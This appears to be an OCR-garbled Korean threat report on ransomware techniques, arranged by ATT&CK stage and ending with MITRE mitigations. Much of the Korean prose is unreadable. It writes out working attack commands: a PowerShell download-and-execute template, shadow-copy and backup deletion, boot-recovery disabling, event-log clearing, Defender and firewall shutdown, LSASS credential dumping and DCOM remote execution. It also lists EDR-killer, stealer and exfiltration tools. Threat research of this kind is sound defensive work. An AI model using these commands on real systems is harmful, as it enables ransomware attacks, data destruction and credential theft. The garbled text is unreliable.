o9t ERE AFBY Aot W
o TUY YOS B3 Asts T5 MY
- TR Yo

Invoke-Command -ScriptBlock

IEX(New-Object System.Net.Webclient).DownloadString("{url}")
-enc {obfuscation code}

-command {execute code}

Get-WmiObject Win32_Shadowcopy | ForEach-Object{$_.Delete();}

o UME FHONE ol dote 7lss &Y

net user <REDACTED> <REDACTED> /add

bcdedit /set {default} safeboot minimal

bcdedit /set {default} recoveryenabled No

bcdedit /set {default} bootstatuspolicy ignoreallfailures
wbadmin delete catalog -quiet

wbadmin delete systemstatebackup

wbadmin delete systemstatebackup -deleteOldest
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup

vssadmin delete shadows /all /quiet

vssadmin resize shadowstorage /for={Volume} /on={Volume} /maxsize=1MB
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o VBS, JScript, Python & A3 EHEE ¢l |lote 7|s2 A4
= VBS A3EE

Set objWMIService = GetObject("winmgmts:##.#root#tcimv2")
Set colltems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
For Each objltem in colltems

objltem.Delete_

Next

o QE AA LE HE HAE T AR

rl

Cobalt Strike
Mimikatz
PsExec

Process Hacker

23t oto|x ol

o WMI(Window Management Instrumentation)& &

Yol Mt
select * from win32_process

select * from win32_service

select * from win32_logicaldisk

select * from win32_nteventlogfile

select displayName from AntiVirusProduct

winmgmts:{impersonationLevel=impersonate}! . #root¥cimv2

wmic shadowcopy delete

Persistence

>

. NAHO GMICE XEHo2 MY U KX A YWY
o AlZE A
- YR2ER S5/4F

{HKLM/HKCU}WSOFTWAREWM icrosoft#WindowsWCurrentVersionWRun
{HKLM/HKCU}WSOFTWAREWM icrosoft#WindowsWCurrentVersionWRunOnce
{HKLM/HKCUWSOFTWAREWM icrosoft#WindowsWCurrentVersionWRunOnceEx
{HKLM/HKCU}WSOFTWARE¥Microsoft#Windows¥tCurrentVersion#PoliciesWExplorer#fRun
{HKLM/HKCU}MWSOFTWARE®Microsoft#Windows#CurrentVersionWExplorer#tUser Shell Folders
{HKLM/HKCU}MWSOFTWARE¥Microsoft#Windows#CurrentVersionWExploreriShell Folders
HKLM#WSOFTWARE¥Microsoft#Windows NTWCurrentVersion#Windows¥tApplnit_DLLs
HKLM#WSOFTWARE¥Microsoft#fWindows NTWCurrentVersion¥fWinlogon#Shell
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S22 Sof %E WAoR X5 MYEHEE

HKLM¥SOFTWARE¥MicrosoftWWindows NT#WCurrentVersionWWinlogon#Userinit
HKLM¥#SYSTEM#CurrentControlSetWControl#Session Manager#fBootExecute
HKLMWSOFTWARE#Microsoft#Windows NT#CurrentVersion#lmage File Execution Options#{& 3 I}
HKLM¥#SYSTEM#CurrentControlSet#Control#tSession Manager#tKnownDLLs

A% Z2aY 5=

=

C:¥ProgramDatattMicrosoft#Windows#Start MenuttPrograms#Startup
C:¥tUsersW{user name}iWAppDataWRoaming¥MicrosoftWWindows#Start Menu#Programs#Startup

g HSOZ ZZMASE QXY # YEE

oin

=2
=

HKLM¥SYSTEM#CurrentControlSeti#ServicesW{service name}#lmagePath

sc create "{service name}" binPath= "{service image path}" start= auto

Use Windows API: CreateService()

oin

=2
=

schtasks.exe

C:#Windows#System32¥Tasks

schtasks /create /tn "{task name}" /tr "{malware path}" /sc daily /st 11:00

systemd.timer

vi /etc/systemd/system/service_name_run.timer

[Unit]
Description=systemd.timer (AM: 08:00)

[Timer]
OnCalendar=*-*-* 23:00:01
Persistent=True

Unit=service_name.service

[Install]

WantedBy=default.target

sudo systemctl enable service_name_run.timer

sudo systemctl start service_name_run.timer
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Privilege Escalation

¢tk 2ol o =

—

7t AAEOILE 2ZEQOOA Z2|XE A2 A
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o
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=L A9, TN 52 S8 ZaMac 2982 AP

= Windows API At

Ol

AdjustTokenPrivilege
CreateProcessAsUser
CreateProcessWithTokenW
ImpersonateLoggedOnUser
ImpersonateNamedPipeClient
LogonUser
OpenProcessToken

runas

SeDebugPrivilege
SimpateLoggedOnUser
WTSQueryUserToken

- BHE =7 L oy AE NG

AdvancedRun.exe

Cobalt Strike

Incognito V2

Invoke-RunAs - PowerShell Script
Invoke-TokenManipulation - PowerShell Script
KONNI

Mafalda

Mimikatz

RunAs

o W HE 23 AR
= Linux/ g2l

chmod
setuid

setgid
= Windows / |IE2

CMSTPLUA COM

ComputerDefaults.exe
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o

custom "RedirectEXE" shim database
eventvwr.exe

eventvwr.msc

Fodhelper UAC bypass
fodhelper.exe

passuac.dll

UAC prompt

UACMe

wusa.exe exploit

XXmm

cafol] X AZEQ0fo] FOHHS 4B O 2 +Fo| AMA I S
- HoH
Asus Driver

Apache ActiveMQ

Avast Anti Rootkit Driver

Capcom Driver

Critix ADC

Cisco |OS XE devices

Elastic Endpoint Security

JetBrains TeamCity

MS Windows Error Reporting Service
MS Windows Common Log File System Driver
MS Windows Print Spooler

MS Windows SAM Database

MS Windows Winsock(afd.sys)

MS Windows Kernel Subsystem

MS Exchanger Server

MS Active Directory Domain Services
MS Outlook

MOVEit

Netlogon

Qlik Sense Enterprise

SMBv3 Protocol

VMware ESXi

VMware vCenter Server

ZerolLogon
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Defense Evasion

=
.« ZE HO

2% BOF FH|L 2R

- O
o Y=el/H=EotE HolHZ B2 273
» AE 7|H

AES
DES
RSA
RC4
Salsa20
Base64
RotR
RotL
XOR

Compressed file with password set

»  SHE 7|5t0| gHE 0T
o =3 8 0| HEE BR

L] =

ANEL
BatCloak
Confuser
ConfuserEx
Custom

NET Reactor
« I

Custom
DTPacker
MajorCrypter
Themida
VMProtect



wevtutil.exe cl "AMSI/Debug"
wevtutil.exe cl "Analytic"

wevtutil.exe cl "Application”

wevtutil.exe cl "DirectShowFilterGraph"
wevtutil.exe cl "Els_Hyphenation/Analytic"
wevtutil.exe cl "EndpointMapper"
wevtutil.exe cl "Security"

wevtutil.exe cl "System"

wevtutil.exe cl "windows powershell"

sc config eventlog start= disabled

sc stop eventlog

powershell.exe Stop-Service -Name EventLog

LR o g |

"cmd.exe" /c ping 127.0.0.1 -n 3 > Nul & Del /f /q {ransomware path}

Yo SRJL| HRIE 2Ust7| fs X =22 MAsts e
» LSA EZ FX|

reg add HKLMWSYSTEM¥CurrentControlSetWControlWLSA /v RunAsPPL /t REG_DWORD /d 0 /f

AT X

netsh.exe firewall set opmode mode=disable

netsh.exe advfirewall set currentprofile state off

- RN EX - =7 948

Avast Anti-Rootkit driver
Alureon

aswArPots.sys

AuKill

Backstab (Process Explorer driver)
Bedevil

Darkside EDR Killer
Defender Control

Dell Client driver
EDRSandBlast
EDRKilIShifter

EMCO UnLock IT
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Eraser

FileShredder

GIGABYTE Motherboard driver
GMER

|OBit

MSI Afterburner driver
Martini.exe / Martini.sys
mhyprot2.sys

NSudo

Necurs

PCHunter

PowerTool

Procexp.sys
ProcessHacker

PSKill

RealBlindingEDR
Reaper

TDSSKiller

ThreatFire System Monitor driver
Universal Virus Sniffer
YDArk

Zemana Anti-Rootkit driver

i

B SX - YR2EL| HZEst

cmd.exe /C reg add "HKLM#WSoftwareWPoliciesWMicrosoftWWindows Defender#Real-Time Protection" /v
"DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

cmd.exe /C reg add "HKLM#WSoftwareWPoliciesWMicrosoftWWindows Defender#Real-Time Protection" /v
"DisableOnAccessProtection” /t REG_DWORD /d "1" /f

cmd.exe /C reg add "HKLMWSoftwareWPoliciesWMicrosoftWWindows Defender#Real-Time Protection" /v
"DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

cmdexe /C reg add "HKLMWSoftware#tPolicies#Microsoft#Windows Defender#Spynet" /v
"SubmitSamplesConsent" /t REG_LDWORD /d "2" /f

cmd.exe /C reg add "HKLMWSoftwareWPoliciesWMicrosoftWWindows Defender#Real-Time Protection" /v
"DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

cmd.exe /C reg add "HKLM#WSoftwareWMicrosoft#Windows DefenderWFeatures" /v "TamperProtection”
/t REG_DWORD /d "0" /f

cmd.exe /C reg add "HKLM#WSoftwareWPoliciest#Microsoft#fWindows Defender" /v "DisableAntiSpyware"
/t REG_DWORD /d "1" /f

cmdexe /C reg add "HKLM#SoftwareWPoliciesWMicrosoftWWindows Defender#MpEngine" /v
"MpCloudBlockLevel" /t REG_LDWORD /d "0" /f

cmdexe /C reg add "HKLMWSoftware#tPolicies#Microsoft#Windows Defender#Spynet" /v
"SpynetReporting" /t REG_DWORD /d "0" /f
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cmd.exe /C "%SystemRoot%WProgram FilesWMicrosoft Security Client#Setup.exe" /x /s
%SystemRoot%WProgram Files#MalwareBytest#tAnti-Ransomware#unins000.exe

/suppressmsgboxes /norestart

wmic process where name={Process name} delete
. EFN BX| - AHME FHO

o —

taskkill /F /IM {Process name}
net stop {Service name}

sc config {Service name} start= disabled

Credential Access

o SAXZE A[LBOILE AFe itH SES

um
i
Ot
rir
0%
IE

o A8 H XA S8 BEE E7| Il

aln]
[El

[El

[lsass.exe A4 ZH HIZ]

EHQ 22| XF(Taskmgr.exe) - Create Dump File
ProcExp.exe - Create Dump

ProcDump.exe -r -ma Isass.exe {dumped file name}

rundll32.exe comsvc.dll, MiniDump {PID} {dumpted file name} full

o UGIEE AES AF A A4

ol

o Mg 7

AgentTesla
Carbanak
DarkComet
Grixba
NanoCore
Netweird
Notestuk
PinchDuke
PupyRAT
QuasarRAT
Remcos
RevengeRAT
Stonedrill
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o EZZ0 MY A= AE = ZFF

HKLM#SAM

HKLM#SYSTEM
HKLM#WSECURITY
%systemroot%WSystem32#tconfig#SECURITY
%SystemRoot%WNTDSWNtds.dit
/etc/passwd

/etc/shadow

Email Client

FTP Client

LaZagne

OpenSSH

putty

RDCMan

realvnc

Windows OS credentials

WinSCP

o SHMEOUA=E & A&

NetPass

MailPassView

|IEPassView

Dialupass

BulletsPassView
NetworkPasswordRecovery
RouterPassView
EncryptedRegView
VaultPasswordView
PstPassword

PasswordFox

ChromePass
WebBrowserPassView
WirelessKeyView
SniffPassPasswordSniffer
OperaPassView
RemoteDesktopPassView
MessenPass
ProtectedStoragePassView
VNCPassView

CredentialsFileView

LaZagne




Mimikatz
Pypykatz
Spraykatz

Lsassy
GetPassword_x64
Gpppassword
SniffPass
ProcDump

ProcExp

Discovery
.« BHRIL AAE UE Y HEHT0) i YEE FMsE W
o AlAHE, StEQOOf Ciet & +H

systeminfo command

hostname command

fsutil command

fsinfo command

Win32_ComputerSystem

Win32_BIOS

Win32_MotherboardDevice

Win32_PnPEntity

Win32_DiskDrive
HKLM#SYSTEM¥CurrentControlSet¥fServicesWDisk¥#Enum

Windows API Call(GetComputerName, GetSystemInfo, gethostbyname, GetNativeSysteminfo, GetLogicalDrives,
DsRoleGetPrimaryDomaininformation, GetUSerDefaultUILanguage...)

o O, CIAMEZ| YEA OiY AAH HE 7

ADExplorer

ADRecon

AdFind

Advanced IP Scanner
Advanced Port Scanner
Angry IP Scanner

AWS Systems Manager Inventory
Bloodhound

Cent Browser
CrackMapExec

dir command

Dsquery
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Everything

Empire
Lansweeper

net command
Nbtscan

NirSoft WinLister
Nmap

Nping
ManageEngine LANDESK
Masscan
Metasploit
ossec-win32
OSQuery

PDQ Inventory
PingCastle
PowerView

PsInfo

PSNmap
ReconFTW
RustScan

RVTools

S3 Browser
Seatbelt
SharpHound
ShareFinder
SharpShares
SharpView
SoftPerfect LanSearchPro
SoftPerfect NetScan
TXPortMap
VMware PowerCLI

OHE[ HIO|2{A EX| OfF =0l

-

InstallUtil.exe

Get-Datalnfo.ps1

"%SystemRoot%WProgram Files", "%SystemRoot%WProgram Files (x86)" search
HKLM#WSOFTWARE#WOW6432NodeWMicrosoft#WindowsWCurrentVersion#Uninstall
HKCUWSOFTWAREWMicrosoftWWindows#CurrentVersiont#tUninstall
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Lateral Movement

. AR UEAT YRolM oSt wH

o

o

247 A MHA 2739

ARD(Apple Remote Desktop)
DCOM(Distributed Component Object Model)
RDP(Remote Desktop Protocol)

RPC(Remote Procedure Call)

SMB(Sever Message Block)

SSH(Secure Shell)

Telnet

VNC(Virtual Network Computing)
e WEYS Mot
= Admin Shares

cs$
ADMIN$
IPC$

= DCOM(Distributed Component Object Model)

$dcom = New-Object -ComObject WbemScripting.SWbemLocator

$wmi = $dcom.ConnectServer("RemoteSystem"”, "roott#tdefault")

$key = $wmi.Get("StdRegProv")
$key.SetStringValue(2147483650,"HKLM","Software#MyApp","KeyName","KeyValue")

$dcom = New-Object -ComObject WScript.Shell

$dcom.Run("cmd.exe /c powershell.exe -ExecutionPolicy Bypass -

File %SystemRoot%Wprogramdatat¥mc.ps1”, 0, $true)

$cmd = [System.Activator]::Createlnstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-
00AOC90A8F39" "127.0.0.1"))

{target}.Item().Document.Application.ShellExecute("powershell.exe"," -exec bypass -

file %SystemRoot%¥programdatamc.ps1”, "%SystemRoot%¥windowstsystem32", $null, o)
L2 AlAEZ OHY 9 =R 2ALES

AnyDesk

BITS Jobs
certutil.exe
cmd.exe

Cobalt Strike
cURL(client URL)
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DropBox

FTP(File Transfer Portocol)
NetScan

OneDrive

PsExec

RSync(Remote Sync)
SCP(Secure Copy)

service.exe

SFTP(SSH File Transfer Portocol)
SMB(Server Message Block)

Collection

SAXL 2% HOIHE

o

2Z AL 2aAE HMY

CovalentStealer
DataGrabberl
DET(Data Exfiltration Toolkit)
ExByte
Exfiltrator-22
ExMatter
Grixba
Powershell-RAT
PyEXxfil

Ryuk Stelaer
SG1

StealBit
Truebot

Vida

WellMail

wevtutil.exe
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WinRAR
zlib

Command and Control

OF

o SAXZL ALEE MO ?let Sile 285t UE

o
o YHHQ HERIA MHAE AL BXl 8 HESRIR BHES R

DNS on port 53

FTP on port 21

FTPS on port 989, 990

HTTP on port 80

HTTPS on port 443

IMAP on port 143(TCP), 993(SSL/TLS)

POP3 on port 110(TCP), 995(SSL/TLS)

SFTP on port 22

SMB on port 139, 445(TCP) / 137, 138(UDP)

SMTP on port 25(TCP), 465(SSL), 587(TLS/STARTTLS)

o HESHZ 4o SHAE S =t Xz A4
HTRAN

ProxyBot

SMB

Tor

ZXPortMap

ZXProxy

o BT EE IHYZ MBS WS

BITS Admin
BITS Jobs
certutil
Cobalt Strike
copy

curl

dget
Dropbox
finger
Mimikatz
OneDrive
PowerShell

PsExec
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SFTP
Sliver
wget

yum

Exfiltration
« S3AX7F HOIHE 22 FEsH= WY
o 2F A MHAE AHBCH OIO|H RE

Anonfiles
AnyDesk
Atera
Bashupload
Catbox.moe
Chisel
Cobalt Strike
Cyberduck
Dropbox
Dropfiles
DropMeFiles
file.io
FreeFileSync
GitHub
Gofile.io
GoodSync
Google Drive
MEGA Cloud
MegaTools
OneDrive
Pandora RC
pcloud
PrivatLab
ProtonMail
gaz.im
RClone

RDP

Restic
Screen Connect
sendspace
share.riseup.net

Telegram



temp.sh
TempSend
Transfert-my-files
Transfer.sh
TightVNC

UFile

~

PN
=

o HE F=Y MHE S HOHE ==

cURL
HTTP POST

>
o>
[l

o It REZS M8 HOHE &&

Cyberduck
FileZilla
FTP Server

pscp
WinSCP

Impact
o BAXI} A|AHD HO|E{E REFSIHLE THa|SH

o OO =3}

| |

r
ox
29

2

A&

oo

= L

of

tot

1S

[CHE71)

AES

ChaCha8
ChaCha20
ChaCha20-Poly1305
DES

HC-256

Rabbit

RC4

RC6

Salsa20

SCOP

Sosemanuk

TEA
Xsalsa20-Poly1305
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HH
=

[HICHE 1]

Curve25519

DSA

ECDH

ECC

ElGamal

ECIES
ECDSA-secp256k1
Curve25519/NIST K-571
NTRU

RSA
XSalsa20-Poly1305-Blake2b-Curve25519

[CHE7|+HICHE 7]

PGP

ZHHH XA 7sE EE

BitLocker
2 SARE A
W @0 &8

vssadmin delete shadows /for=<ForVolumeSpec> [/oldest | /all | /shadow=<ShadowID>] [/quite]
vssadmin resize shadowstorage /for=<ForVolumeSpec> /on=<ForVolumeSpec> /maxsize=<Size>
wmic shadowcopy delete [/nointeractive]

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$.Delete();}

wbadmin DELETE SYSTEMSTATEBACKUP

del /s /f /q cW*VHD cW*.bac c:W*.bak c:#*wbcat c:W*.bkf c:#Backup** c:tbackup*.* c:W*.set c:W*.win
c:W*.dsk

DiskShadow &&

diskshadow delete shadows all

COM 7HH &2

$VssProvider = New-Object -ComObject "WbemScripting.SWbemLocator"

$VssService = $VssProvider.ConnectServer(".", "root¥cimv2")

$ShadowCopySet = $VssService.ExecQuery("SELECT * FROM Win32_ShadowCopy")

foreach ($ShadowCopy in $ShadowCopySet) {
$ShadowCopy.Delete()
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e}

Set objWMIService = GetObject("winmgmts:##.#roottcimv2")
Set colShadowCopies = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")

For Each objShadow in colShadowCopies
objShadow.Delete_()

Next

» DeviceloControl &&
DeviceloControl(hVolume, IOCTL_VOLSNAP_SET_MAX_DIFF_AREA_SIZE, &diffAreaSize,
sizeof(diffAreaSize), NULL, 0, &dwBRet, NULL)

=7 28 7|5 HEgdgst

« UWE O =28
bcdedit /set {default} recoveryenabled no
bcdedit /set {default] bootstatuspolicy ingnoreallfailures
wbadmin delete catalog
schtasks.exe /Change /TN "WMicrosoftWWindowsW#SystemRestoreSR" /disable

«  HX2EZ 7
reg add "HKLM¥SOFTWAREWPoliciesWMicrosoftWWindows NT#SystemRestore" /v "DisableConfig" /t
"REG_DWORD" /d "1" /f
reg add "HKLMWSOFTWARE¥PoliciesWMicrosoft#Windows NT#SystemRestore" /v "DisableSR" /t
"REG_DWORD" /d "1" /f
reg add "HKLM¥WSOFTWARE#WMicrosoftWWindows NT¥tCurrentVersion#WSystemRestore" /v
"DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM#WSOFTWAREWMicrosoftW#Windows NTWCurrentVersion#SystemRestore" /v "DisableSR" /t
"REG_DWORD" /d "1" /f

= VSS Hoh B
sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIlIOFA;GA;;;WD)

MH|A X

= Windows / €%

taskkill /f /im #{process_name}
net stop #{service_name}
sc stop #{service_name}

TerminateProcess(hProcess, 9)

ControlService(hService, SERVICE_CONTROL_STOP, &ssp)
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Linux / 2|2

sudo killall -SIGTERM #{process_name}
sudo kill -SIGTERM ${process_id}
sudo pkill -SIGTERM #{process_pattern}

systemctl stop #{service_name}

ESXi

esxcli vm process kill
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Collection
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@ Exfiltration Over Alternative Protocol(T1048)

M1057, G|O|E =4 gfX|

DLP(Data Loss Prevention) =FM82 AlEd 2% HO|HE ¥ HIIXNZE YEESH:=
HRE ZX[StD Kt = U

« M1037, HERZA Egfm ZEHE

ZEA MBS 2ol LR ALY =BS HANCL E3 SO|EIAAES HHH |
@3t ALgAteL PEF AfB{O] FISHES FBSHD AR LHS AH 522 HolH

=2

HZote As Aottt

e M1031, HEYA FQ utx|

IDS(Intrusion Detection System)/IPS(Intrusion Prevention System)S AtEdf HIO|Ef {=1t
THE E LS AHSID KT

o M1030, HEHHA MEst
AFFIO| A& TEQF EFfLDt ENfSIEE {EQT Watee JAISHTH

o M1022, W 3l ClHEZ| HoH Ko

oot oholLt mUo| MEE CIMEZM XFHE AFSAD g = ARE X259
ot ROojotrt

T X 9gS HEY 7 ANYE ARSAT =8 HolH ME ST

Impact
© Data Encrypted for Impact(T1486)
e M1040, AEZQAEAS S oY

ASR(Attack Surface Reduction) T#%! M3} 9l AAIZH BES 7|58 Ed H;HHY 0o A
2t HE KHEHSHC)
+ M1053, H|OJE &%
GOl 2 HI7|Hez #HWdtn, EF A2z #=gotct Eot 8
2 HESRIO MY SZ4A7t HO|E HHS A2 2SHX| RSIEE it

88



© Inhibit System Recovery(T1490)
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